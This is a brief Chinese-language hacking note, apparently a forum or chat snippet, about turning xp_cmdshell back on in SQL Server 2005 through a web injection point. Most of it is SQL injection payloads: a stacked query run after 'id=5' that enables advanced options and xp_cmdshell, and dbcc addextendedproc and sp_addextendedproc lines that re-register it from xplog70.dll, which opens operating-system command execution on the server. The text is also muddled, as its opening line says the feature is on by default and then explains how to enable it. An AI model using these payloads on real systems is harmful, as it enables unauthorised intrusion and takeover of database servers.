MSSQLSERVER2005默认把xpcmdshell给ON了

如果要启用的话就必须把他加到高级用户模式

可以直接在注入点那里直接注入

id=5;EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;--

然后;dbccaddextendedproc("xp_cmdshell","xplog70.dll");--

或者

sp_addextendedprocxp_cmdshell,@dllname='xplog70.dll'

来恢复cmdshell。

分析器

EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;--

然后;dbccaddextendedproc("xp_cmdshell","xplog70.dll")

老猪猪(2396644xx)15:42:42

createtable[xl]([xl1][varchar](255)null,[xl2][varchar]null)就行了